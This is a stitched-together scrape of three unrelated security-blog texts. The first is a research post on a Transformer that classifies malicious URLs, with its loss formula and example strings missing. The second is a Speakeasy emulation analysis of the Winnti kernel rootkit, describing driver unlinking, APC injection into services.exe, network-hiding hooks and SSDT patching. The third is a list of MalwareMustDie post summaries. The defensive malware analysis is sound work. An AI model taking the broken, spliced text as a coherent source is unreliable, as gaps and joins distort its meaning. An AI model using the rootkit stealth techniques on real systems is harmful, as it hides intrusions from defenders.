Our URL Transformer operates at the character level, where each character in the URL corresponds to an input token. When a URL is input to our Transformer, it is appended with special tokens—a classification token (“CLS”) that conditions the model to produce a prediction and padding tokens (“PAD”) that normalize the input to a fixed length to allow for parallel training. Each token in the input string is then projected into a character embedding space, followed by a stack of Attention and Feed-Forward Neural Network (FFNN) layers. This stack of layers is similar to the architecture introduced in the original Transformers paper. At a high level, the Attention layers allow each input to be associated with long-distance context of other characters that are important for the classification task, similar to the notion of attention in humans, while the FFNN layers provide capacity for learning the relationships among the combination of inputs and their respective contexts. An illustration of our architecture is shown in Figure 1.

Additionally, the URL Transformer employs a masking strategy in its Attention calculation, which enforces a left-to-right (L-R) dependence. This means that only input characters from the left of a given character influence that character’s representation in each layer of the attention stack. The network outputs one embedding for each input character, which captures all information learned by the model about the character sequence up to that point in the input.

Once the model is trained, we can use the URL Transformer to perform several different tasks, such as generatively predicting the next character in the input sequence by using the sequence embedding () as an input to another neural network with as softmax output over the possible vocabulary of characters. A specific example of this is shown in Figure 1, where we take the embedding of the input “firee”() and use it to predict the next most likely character, “y.” Similarly, we can use the embedding produced after the classification token to predict other properties of the input sequences, such as their likelihood of maliciousness.

Figure 1: High-level overview of the URL Transformer architecture

Loss Functions and Training Regimes

With the model architecture in hand, we now turn to the question of how we train the model to most effectively detect malicious URLs. Of course, we can train this model in a similar way to other supervised deep learning classifiers by: (1) making predictions on samples from a labeled training set, (2) using a loss function to measure the quality of our predictions, and (3) tune model parameters (i.e., weights) via backpropagation. However, the nature of the Transformer model allows for several interesting variations to this training regime. In fact, one of the reasons that Transformers have become so popular for NLP tasks is because they allow for self-supervised generative pre-training, which takes advantage of massive amounts of unlabeled data to help the model learn general characteristics of the input language before being fine-tuned on the ultimate task at-hand (e.g., question answering, sentiment analysis, etc.). Here, we outline some of the training regimes we explored for our URL Transformer model.

Direct Label Prediction (Decode-To-Label)

Using a training set of URLs with malicious and benign labels, we can treat the URL Transformer architecture as a feature extractor, whose outputs we use as the input to a traditional classifier (e.g., FFNN or even a random forest). When using a FFNN as our classifier, we can backpropagate the classification loss (e.g., binary cross-entropy) through both the classifier and the Transformer network to adjust the weights to perform classification. This training regime is the baseline for our experiments and is how most deep learning models are trained for classification tasks.

Next-Character Prediction Pre-Training and Fine-Tuning

Beyond the baseline classification training regime, the NLP literature suggests that one can learn a self-supervised embedding of the input sequence by training the Transformer to perform a next-character prediction task, then fine-tuning the learned representation for the classification problem. A key advantage of this approach is that data used for pre-training does not require malicious or benign labels; instead, the next characters in a URL serve as the labels to be predicted from prior characters in the sequence. This is similar to the example given in Figure 1, where the embedding output is used to predict the next character, “y,” in “” Overall, this training regime allows us to take advantage of the massive amount of unlabeled data that is typically available in cyber security-related problems.

The overall structure of the architecture for this regime is similar to the aforementioned binary classification task, with FFNN layers added for classification. However, since we are now predicting multiple classes (i.e., one class per input character in the vocabulary), we must apply a softmax function to the output to induce a probability distribution over the potential output characters. Once the Transformer portion of the network is pre-trained in this way, we can swap the FFNN classification layers focused on character prediction with new layers that will be trained for the malicious URL classification problem, as in the decode-to-label case.

Balanced Mixed-Objective Training

Prior work has shown that imbuing the training process with additional knowledge outside of the primary task can help constrain the learning process, and ultimately result in better models. For instance, a malware classifier might train using loss functions that capture malicious/benign classification, malware family prediction, and tag prediction tasks as a mechanism to provide the classifier with broader understanding of the problem than looking at malicious/benign labels in isolation.

Inspired by these findings, we also introduced a mixed-objective training regime for our URL Transformer, where we train for binary classification and next-character prediction simultaneously. At each iteration of training, we compute a loss multiplier such that each loss contribution is fixed prior to backpropagation. This ensures that neither loss term dominates during training. Specifically, for minibatch i, let the net loss LMixed be computed as follows:


Given hyperparameters a and b, defined such that a + b: = 1, we compute constant a so that the net loss contribution of LCLS to LMixed is a and the net contribution of LNext to LMixed is b. For our evaluations, we set a := b := 0.5, effectively requiring that the model equally balance its ability to generate the next character and accurately predict malicious URLs.


To evaluate our URL Transformer model and better understand the impact of the three training regimes discussed earlier, we collected a training dataset of over 1M labeled malicious and benign URLs, which was split into roughly 700K training samples, 100K validation samples, and 200k test samples. Additionally, we also developed an unlabeled pre-training dataset of 20M URLs.

Using this data, we performed four different training runs for our Transformer model:

  1. DecodeToLabel (Baseline): Using strictly the binary cross-entropy loss on the embedded classification features over the entire sequence, we trained the model for 15 epochs using the training set.
  2. MixedObjective: We trained the model for 15 epochs on the training set, using both the embedded classification features and the embedded next-character prediction features.
  3. FineTune: We pre-trained the model for 15 epochs on the next-character prediction task using the training set, ignoring the malicious/benign labels. We then froze weights over the first 16 layers of the model and trained the model for an additional 15 epochs using a binary cross-entropy loss on the classification labels.
  4. FineTune 20M: We performed pre-training on the next-character prediction task using the 20M URL dataset, pre-training for 2 epochs. We then froze weights over the first 16 layers of the Transformer and trained for 15 epochs on the binary classification task.

The ROC curve shown in Figure 2 compares the performance of these four training regimes. Here, our baseline DecodeToLabel model (red) yielded a ROC curve with 0.9484 AUC, while the MixedObjective model (green) slightly outperformed the baseline with an AUC of 0.956. Interestingly, both of the fine-tuning models yielded poor classification results, which is counter to the established practice of these Transformer models in the NLP domain.

Figure 2: ROC curves for four URL Transformer training regimes

To assess the relative efficacy of our Transformer models on this dataset, we also fit several other types of benchmark models developed for URL classification: (1) a Random Forest model on SME-derived features, (2) a 1D Convolutional Neural Network (CNN) model on character embeddings, and (3) a Long Short-Term Memory (LSTM) neural network on character embeddings. Details of these models can be found in our white paper, however we find that our top performing Transformer model performs on-par with the best performing non-Transformer baseline (a 1D CNN model), which perhaps indicates that the long-range dependencies typically learned by Transformer models are not as useful in the case of malicious URL detection.

Figure 3: ROC curves comparing URL Transformer to other benchmark URL classification models


Our experiments suggest that Transformers can achieve performance comparable to or better than that of other top-performing models for URL classification, though the details of how to achieve that performance differ from common practice. Contrary to findings from the NLP domain, wherein self-supervised pre-training substantially enhances performance in a fine-tuned classification task, similar pretraining approaches actually diminish performance for malicious URL detection. This suggests that the next character prediction task has too little apparent correlation with the task of malicious/benign prediction for effective/stable transfer.

Interestingly, utilizing next-character prediction as an auxiliary loss function in conjunction with a malicious/benign loss yields improvements over training solely to predict the label. We hypothesize that while pre-training leads to a relatively poor generative model due to randomized content in the URLs within our dataset, a malicious/benign loss may serve to better condition the generative model learned by the next-character prediction task, distilling a subset of relevant information. It may also be the case that the long-distance relationships that are key to the generative pre-training task are not as important for the final malicious URL classification, as evidenced by the performance of the 1D CNN model.

Note that we did not perform a rigorous hyperparameter search for our Transformer, since this research was primarily concerned with loss functions and training regimes. Therefore, it is still an open question as to whether a more optimal architecture, specifically designed for this classification task, could substantially outperform the models described here.

While our URL dataset is not representative of all data in the cyber security space, the difficulty of obtaining a readily fine-tuned model from self-supervised pre-training suggests that this approach is unlikely to work well for training Transformers on longer sequences or sequences with lesser resemblance to natural language (e.g., PE files), but an auxiliary loss might work.

Details about this research and additional results can be found in our associated white paper.

Emulation of Kernel Mode Rootkits With Speakeasy

20 Jan 2021

In August 2020, we released a blog post about how the Speakeasy emulation framework can be used to emulate user mode malware such as shellcode. If you haven’t had a chance, give the post a read today.

In addition to user mode emulation, Speakeasy also supports emulation of kernel mode Windows binaries. When malware authors employ kernel mode malware, it will often be in the form of a device driver whose end goal is total compromise of an infected system. The malware most often doesn’t interact with hardware and instead leverages kernel mode to fully compromise the system and remain hidden.

Challenges With Dynamically Analyzing Kernel Malware

Ideally, a kernel mode sample can be reversed statically using tools such as disassemblers. However, binary packers just as easily obfuscate kernel malware as they do user mode samples. Additionally, static analysis is often expensive and time consuming. If our goal is to automatically analyze many variants of the same malware family, it makes sense to dynamically analyze malicious driver samples.

Dynamic analysis of kernel mode malware can be more involved than with user mode samples. In order to debug kernel malware, a proper environment needs to be created. This usually involves setting up two separate virtual machines as debugger and debugee. The malware can then be loaded as an on-demand kernel service where the driver can be debugged remotely with a tool such as WinDbg.

Several sandbox style applications exist that use hooking or other monitoring techniques but typically target user mode applications. Having similar sandbox monitoring work for kernel mode code would require deep system level hooks that would likely produce significant noise.

Driver Emulation

Emulation has proven to be an effective analysis technique for malicious drivers. No custom setup is required, and drivers can be emulated at scale. In addition, maximum code coverage is easier to achieve than in a sandbox environment. Often, rootkits may expose malicious functionality via I/O request packet (IRP) handlers (or other callbacks). On a normal Windows system these routines are executed when other applications or devices send input/output requests to the driver. This includes common tasks such as reading, writing, or sending device I/O control (IOCTLs) to a driver to execute some type of functionality.

Using emulation, these entry points can be called directly with doped IRP packets in order to identify as much functionality as possible in the rootkit. As we discussed in the first Speakeasy blog post, additional entry points are emulated as they are discovered. A driver’s DriverMain entry point is responsible for initializing a function dispatch table that is called to handle I/O requests. Speakeasy will attempt to emulate each of these functions after the main entry point has completed by supplying a dummy IRP. Additionally, any system threads or work items that are created are sequentially emulated in order to get as much code coverage as possible.

Emulating a Kernel Mode Implant

In this blog post, we will show an example of Speakeasy’s effectiveness at emulating a real kernel mode implant family publicly named Winnti. This sample was chosen despite its age because it transparently implements some classic rootkit functionality. The goal of this post is not to discuss the analysis of the malware itself as it is fairly antiquated. Rather, we will focus on the events that are captured during emulation.

The Winnti sample we will be analyzing has SHA256 hash c465238c9da9c5ea5994fe9faf1b5835767210132db0ce9a79cb1195851a36fb and the original file name tcprelay.sys. For most of this post, we will be examining the emulation report generated by Speakeasy. Note: many techniques employed by this 32-bit rootkit will not work on modern 64-bit versions of Windows due to Kernel Patch Protection (PatchGuard) which protects against modification of critical kernel data structures.

To start, we will instruct Speakeasy to emulate the kernel driver using the command line shown in Figure 1. We instruct Speakeasy to create a full memory dump (using the “-d” flag) so we can acquire memory later. We supply the memory tracing flag (“-m”) which will log all memory reads and writes performed by the malware. This is useful for detecting things like hooking and direct kernel object manipulation (DKOM).

Figure 1: Command line used to emulate the malicious driver

Speakeasy will then begin emulating the malware’s DriverEntry function. The entry point of a driver is responsible for setting up passive callback routines that will service user mode I/O requests as well as callbacks used for device addition, removal, and unloading. Reviewing the emulation report for the malware’s DriverEntry function (identified in the JSON report with an “ep_type” of “entry_point”), shows that the malware finds the base address of the Windows kernel. The malware does this by using the ZwQuerySystemInformation API to locate the base address for all kernel modules and then looking for one named “ntoskrnl.exe”. The malware then manually finds the address of the PsCreateSystemThread API. This is then used to spin up a system thread to perform its actual functionality. Figure 2 shows the APIs called from the malware's entry point.

Figure 2: Key functionality in the tcprelay.sys entry point

Hiding the Driver Object

The malware attempts to hide itself before executing its main system thread. The malware first looks up the “DriverSection” field in its own DRIVER_OBJECT structure. This field holds a linked list containing all loaded kernel modules and the malware attempts to unlink itself to hide from APIs that list loaded drivers. In the “mem_access” field in the Speakeasy report shown in Figure 3, we can see two memory writes to the DriverSection entries before and after itself which will remove itself from the linked list.

Figure 3: Memory write events representing the tcprelay.sys malware attempting to unlink itself in order to hide

As noted in the original Speakeasy blog post, when threads or other dynamic entry points are created at runtime, the framework will follow them for emulation. In this case, the malware created a system thread and Speakeasy automatically emulated it.

Moving on to the newly created thread (identified by an “ep_type” of “system_thread”), we can see the malware begin its real functionality. The malware begins by enumerating all running processes on the host, looking for the service controller process named services.exe. It's important to note that the process listing that gets returned to the emulated samples is configurable via JSON config files supplied at runtime. For more information on these configuration options please see the Speakeasy README on our GitHub repository. An example of this configurable process listing is shown in Figure 4.

Figure 4: Process listing configuration field supplied to Speakeasy

Pivoting to User Mode

Once the malware locates the services.exe process, it will attach to its process context and begin inspecting user mode memory in order to locate the addresses of exported user mode functions. The malware does this so it can later inject an encoded, memory-resident DLL into the services.exe process. Figure 5 shows the APIs used by the rootkit to resolve its user mode exports.

Figure 5: Logged APIs used by tcprelay.sys rootkit to resolve exports for its user mode implant

Once the exported functions are resolved, the rootkit is ready to inject the user mode DLL component. Next, the malware manually copies the in-memory DLL into the services.exe process address space. These memory write events are captured and shown in Figure 6.

Figure 6: Memory write events captured while copying the user mode implant into services.exe

A common technique that rootkits use to execute user mode code involves a Windows feature known as Asynchronous Procedure Calls (APC). APCs are functions that execute asynchronously within the context of a supplied thread. Using APCs allows kernel mode applications to queue code to run within a thread’s user mode context. Malware often wants to inject into user mode since much of the common functionality (such as network communication) within Windows can be more easily accessed. In addition, by running in user mode, there is less risk of being detected in the event of faulty code bug-checking the entire machine.

In order to queue an APC to fire in user mode, the malware must locate a thread in an “alertable” state. Threads are said to be alertable when they relinquish their execution quantum to the kernel thread scheduler and notify the kernel that they are able to dispatch APCs. The malware searches for threads within the services.exe process and once it detects one that’s alertable it will allocate memory for the DLL to inject then queue an APC to execute it.

Speakeasy emulates all kernel structures involved in this process, specifically the executive thread object (ETHREAD) structures that are allocated for every thread on a Windows system. Malware may attempt to grovel through this opaque structure to identify when a thread’s alertable flag is set (and therefore a valid candidate for an APC). Figure 7 shows the memory read event that was logged when the Winnti malware manually parsed an ETHREAD structure in the services.exe process to confirm it was alertable. At the time of this writing, all threads within the emulator present themselves as alertable by default.

Figure 7: Event logged when the tcprelay.sys malware confirmed a thread was alertable

Next, the malware can execute any user mode code it wants using this thread object. The undocumented functions KeInitializeApc and KeInsertQueueApc will initialize and execute a user mode APC respectively. Figure 8 shows the API set that the malware uses to inject a user mode module into the services.exe process. The malware executes a shellcode stub as the target of the APC that will then execute a loader for the injected DLL. All of this can be recovered from the memory dump package and analyzed later.

Figure 8: Logged APIs used by tcprelay.sys rootkit to inject into user mode via an APC

Network Hooks

After injecting into user mode, the kernel component will attempt to install network obfuscation hooks (presumably to hide the user mode implant). Speakeasy tracks and tags all memory within the emulation space. In the context of kernel mode emulation, this includes all kernel objects (e.g. Driver and Device objects, and the kernel modules themselves). Immediately after we observe the malware inject its user mode implant, we see it begin to attempt to hook kernel components. This was confirmed during static analysis to be used for network hiding.

The memory access section of the emulation report reveals that the malware modified the netio.sys driver, specifically code within the exported function named NsiEnumerateObjectsAllParametersEx. This function is ultimately called when a user on the system runs the “netstat” command and it is likely that the malware is hooking this function in order to hide connected network ports on the infected system. This inline hook was identified by the event captured in Figure 9.

Figure 9: Inline function hook set by the malware to hide network connections

In addition, the malware hooks the Tcpip driver object in order to accomplish additional network hiding. Specifically, the malware hooks the IRP_MJ_DEVICE_CONTROL handler for the Tcpip driver. User mode code may send IOCTL codes to this function when querying for active connections. This type of hook can be easily identified with Speakeasy by looking for memory writes to critical kernel objects as shown in Figure 10.

Figure 10: Memory write event used to hook the Tcpip network driver

System Service Dispatch Table Hooks

Finally, the rootkit will attempt to hide itself using the nearly ancient technique of system service dispatch table (SSDT) patching. Speakeasy allocates a fake SSDT so malware can interact with it. The SSDT is a function table that exposes kernel functionality to user mode code. The event in Figure 11 shows that the SSDT structure was modified at runtime.

Figure 11: SSDT hook detected by Speakeasy

If we look at the malware in IDA Pro, we can confirm that the malware patches the SSDT entry for the ZwQueryDirectoryFile and ZwEnumerateKey APIs that it uses to hide itself from file system and registry analysis. The SSDT patch function is shown in Figure 12.

Figure 12: File hiding SSDT patching function shown in IDA Pro

After setting up these hooks, the system thread will exit. The other entry points (such as the IRP handlers and DriverUnload routines) in the driver are less interesting and contain mostly boilerplate driver code.

Acquiring the Injected User Mode Implant

Now that we have a good idea what the driver does to hide itself on the system, we can use the memory dumps created by Speakeasy to acquire the injected DLL discussed earlier. Opening the zip file we created at emulation time, we can find the memory tag referenced in Figure 6. We quickly confirm the memory block has a valid PE header and it successfully loads into IDA Pro as shown in Figure 13.

Figure 13: Injected user mode DLL recovered from Speakeasy memory dump


In this blog post, we discussed how Speakeasy can be effective at automatically identifying rootkit activity from the kernel mode binary. Speakeasy can be used to quickly triage kernel binaries that may otherwise be difficult to dynamically analyze. For more information and to check out the code, head over to our GitHub repository.

Malware Must Die

Old posts >>

MMD-067-2021 - Recent talks on Linux process injection and shellcode analysis series at R2CON-2020, ROOTCON-14 2020 from HACK.LU-2019

03 Mar 2021

Tag: Linux, LinuxSecurity, Memory Fornsics, RE, ReverseEnineering, DFIR, Fileless, ProcessInjection, Shellcode, Exploit, PostExploitation, BlueTeaming, HandsOut, Demo, Video, Slides, Presentation The background of these research and talks After HACK.LU-2019's talk in 2019 [link], I was asked a lot of questions about Linux process injection that can trigger code execution and yes, one of

MMD-0066-2020 - Linux/Mirai-Fbot - A re-emerged IoT threat

24 Feb 2020

Chapters: [TelnetLoader] [EchoLoader] [Propagation] [NewActor] [Epilogue] Prologue A month ago I wrote about IoT malware for Linux operating system, a Mirai botnet's client variant dubbed as FBOT. The writing [link] was about reverse engineering Linux ELF ARM 32bit to dissect the new encryption that has been used by their January's bot binaries, The threat had been on vacuum state for almost

MMD-0065-2020 - Linux/Mirai-Fbot's new encryption explained

15 Jan 2020

Prologue [For the most recent information of this threat please follow this ==> link] I setup a local brand new ARM base router I bought online around this new year 2020 to replace my old pots, and yesterday, it was soon pwned by malware and I had to reset it to the factory mode to make it work again (never happened before). When the "incident" occurred, the affected router wasn't dead but it

More about my 2019.HACK.LU Keynote talk

28 Oct 2019

As promised, this is my additional notes and review about my Keynote talk in 2019.HACK.LU (link). My keynote talk title is very long actually, but it explained the description of the whole slides clearly. What was presented is about TODAY's Linux post exploitation, process injection, fileless execution from infrastructures and components that has been supporting those activities, based on the

MMD-0064-2019 - Linux/AirDropBot

28 Sep 2019

Prologue There are a lot of botnet aiming multiple architecture of Linux basis internet of thing, and this story is just one of them, but I haven't seen the one was coded like this before. Like the most of other posts of our analysis reports in MalwareMustDie blog, this post has been started from a friend's request to take a look at a certain Linux executable malicious binary that was having a

MMD-0063-2019 - Summary of 3 years MMD research (Sept 2016-Sept 2019)

21 Sep 2019

Hello, it's unixfreaxjp here. It has been a while since I wrote our own blog, and it is good to be back. Thank you for your patience for all of this time. If you want to see what we were doing during all of our silence time just click this link The background / TLDR It was in September 2016 when we decided to move our blog and since then myself and the team had a lot of fun in learning and

MMD-0062-2017 - Credential harvesting by SSH Direct TCP Forward attack via IoT botnet

08 Mar 2017

Sticky note: We call this threat as "Strudels Attack" 1. Background In this post there is no malicious software/malware analyzed, but this is one of the impact of the malware infecting IoT devices caused by weak credentials that are utilized by the bad actors for bigger crime process. The only malicious aspect written in the post is/are individual(s) involved and participated to these attacks,

MMD-0061-2016 - EnergyMech 2.8 overkill mod

03 Dec 2016

This is a new threat analysis report I wrote in MalwareMustDie blog (this) after we moved out from blogger, I hope you like the new blog system and design, and enjoy the post! An unattended or abandoned Linux/UNIX system with its web service online (specially with the CGI function intact) with not having recent updates can be soon be exploited and infected by Linux malware. Scanner for

MMD-0060-2016 - Linux/UDPfker and ChinaZ threat today

30 Oct 2016

Background ChinaZ is the PRC (Public Rep of China) actor's made Linux ELF DDoS malware and its service. This threat has been covered several times in this blog post, several takedown efforts also had been taken, yet the threat is still lurking us, until now. Using specific indicators used during their infection effort, I can manage to trace the overall activity and their activity has been

MMD-0059-2016 - Linux/IRCTelnet (new Aidra) - A DDoS botnet aims IoT w/ IPv6 ready

29 Oct 2016

It's a Kaiten/Tsunami? No.. STD?? No! It's a GayFgt/Torlus/Qbot? No!! Is it Mirai?? NO!! It's a Linux/IRCTelnet (new Aidra)! ..a new coded IoT DDoS botnet's Linux malware.. Summary This post is a report of what it seems to be a new IRC botnet ELF malware, that is obviously used for performing DDoS attack via IRC botnet. It was coded with partially is having specification as per Tsunami/Kaiten

MMD-0058-2016 - Linux/NyaDrop - a linux MIPS IoT bad news

14 Oct 2016

Background Since the end of September 2016 I received a new type of attacks that aims the MIPS platform I provided to detect IoT attacks. I will call this threat as new ELF Linux/NyaDrop as per the name used by threat actor himself, for the "nyadrop" binary that is dropped in the compromised system. This is not the "really" first time we're seeing this threat actually, in this year, some

MMD-0057-2016 - Linux/LuaBot - IoT botnet as service

06 Sep 2016

Background On Mon, Aug 29, 2016 at 5:07 PM I received this ELF malware sample from a person (thank you!). There wasn't any detail or comment what so ever just one cute little ARM ELF stripped binary file with following data: arm_lsb: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped hash: a220940db4be6878e47b74403a8079a1 This is a cleanly GCC: (GNU) 5.3.x

MMD-0056-2016 - Linux/Mirai, how an old ELF malcode is recycled..

01 Sep 2016

Our recent analysis about Mirai is in here==>[Link] Background From August 4th 2016 several sysadmin friends were helping us by uploading this malware files to our dropbox. The samples of this particular ELF malware ware not easy to retrieve, there are good ones and also some broken ones, I listed in this post for the good ones only. This threat is made by a new ELF trojan backdoor which is now

MMD-0055-2016 - Linux/PnScan ; ELF worm that still circles around

24 Aug 2016

Background Just checked around internet and found an interesting ELF worm distribution that may help raising awareness for fellow sysadmins. As per shown in title, it's a known ELF malware threat, could be a latest variant of "Linux/PnScan", found in platform x86-32 that it seems run around the web within infected nodes before it came to my our hand. This worm is more aiming embed platform and I

MMD-0054-2016 - ATMOS botnet facts you should know

07 Jun 2016

The background This post is about recent intelligence and sharing information of the currently emerged credential stealer and spying botnet named "Atmos", for the purpose of threat recognizing, incident response and may help reverse engineering. This report is the third coverage of online crime toolkit analysis series that we disclose in MalwareMustDie blog, on previous posts we disclosed about

[Slide|Video] Kelihos & Peter Severa; the "All Out" version

09 May 2016

Tag: Kelihos, Khelios, P2P, FastFlux, Botnet, CNC, C2, Clickfraud, Traffic Redirection, Spambot, DNS Poison, Botnet as Service, Affiliate, Severa, Peter Severa, Petrushakov, Saever, Saushkin We yanked this page off along with the slides & its video links from public view to support cyber crime investigation to stop the botnet for good. It's a good will from our investigation team and there's

MMD-0053-2016 - A bit about ELF/STD IRC Bot: x00's CBack aka xxx.pokemon(.)inc

16 Apr 2016

Latest UPDATE incident of this threat is-->[link] Background I received the report of the host in Google cloud network is serving ELF malware: { "ip": "", "hostname": "", "prefix": "", "org": "AS15169 Google Inc.", "city": "Mountain View", "region": "California", "country": "USA", "loc": "37.4192,

MMD-0052-2016 - Overview of "SkidDDoS" ELF++ IRC Botnet

07 Feb 2016

Tag: kaiten, ktx, tsunami, STD, stdbot, torlus, Qbot, gayfgt, lizard, lizkebab, antichrist, sinden, sdn, $dn, bossaline, bossabot, dtool, aidra, lightaidra, zendran, styx, Code, Robert, cod, unixcod, styxcod, irc, ircbot, ddos, elfbot, ddoser, nix, elf, linux, unix. backdoor, syn flood, ack flood, ntp flood, udp flood, dns amp, xmas attack, pan flood, x00, cback, LiGhT, Proxseas, BLJ, KaitenBot,

MMD-0051-2016 - Debunking a tiny ELF remote backdoor (shellcode shellshock part 2)

03 Feb 2016

The background In September 2014 during the ShellShock exploitation incidents was in the rush, one of them is the case MMD-0027-2014 of two ELF malware dropped payloads via ShellShock attack, a new malware and a backconnect ELF, with the details can be read in-->[here] Today I found another interesting ELF x86-32 sample that was reported several hours back, the infection vector is also via

MMD-0050-2016 - Incident report: ELF Linux/Torte infection (in Wordpress)

12 Jan 2016

The indicator Several hours ago, it was detected a suspicious inbound access on a Wordpress site with the below log: (Thank's for the hard work from Y) It's an unusual traffic coming from the unusual source of ip address:||56534 | | PIRIX-INET | RU | | Comfortel Ltd. | |57010 | |

MMD-0049-2016 - A case of java trojan (downloader/RCE) for remote minerd hack

09 Jan 2016

Background This is a short post for supporting the takedown purpose. Warning: Sorry, this time there's nothing fancy nor "in-depth analysis" :-) Yet the current hacking & infecting scheme is so bad, so I think it's best for all of us (fellow sysadmins in particular) to know this information for mitigation and hardening purpose. In this case, a bad actor was using java coded malware injected to a

MMD-0048-2016 - DDOS.TF = (new) ELF & Win32 DDoS service with ASP + PHP/MySQL MOF webshells

05 Jan 2016

Background Linux exploitation by bad actors from People Republic of China (in short: PRC) is not a new matter. Their attacks are coming everyday and their method is also improving by days. This post is another case of the issue, except it is reporting you some improvement and new source of DoS threat from the same landscape. The unique point of this one is by combining ElasticSearch

MMD-0047-2015 - SSHV: SSH bruter ELF botnet malware w/hidden process kernel module

24 Dec 2015

Background Apparently Linux ELF malware is becoming an interesting attraction from several actors from People Republic of China(in short: PRC). This post is one good example about it. It explains also why myself, from my team (MMD), put many effort to study Linux executable malicious scheme came from that region recently, so does our colleges professional researchers in industry started to put

MMD-0046-2015 - Kelihos 10 nodes CNC on NJIIX, New Jersey USA, with a known russian crook who rented them

21 Dec 2015

Global variable declaration to read correctly #include int main(void) { char * email = "XXXXX\(censored\)\ data"; } Background Note2: Considering: The attack of Kelihos botnet to my country and several countries is still un-stoppable and on-going, Yet I was told to censored Kelihos investgation on 2013 without getting good follow up from law enforcement in this planet, no

MMD-0045-2015 - KDefend: a new ELF threat with a disclaimer

04 Dec 2015

Background It's been a while not writing new analysis in our blog & this timing is just perfect. On December 1st, 2015 this sample was detected by our ELF team member @benkow_ ..and our ELF Team started to investigate the threat and come into conclusion that another new ELF malware was spotted, and post this is the report. It was calling itself "KDefend" or "KDLinux", so we call it as "Linux/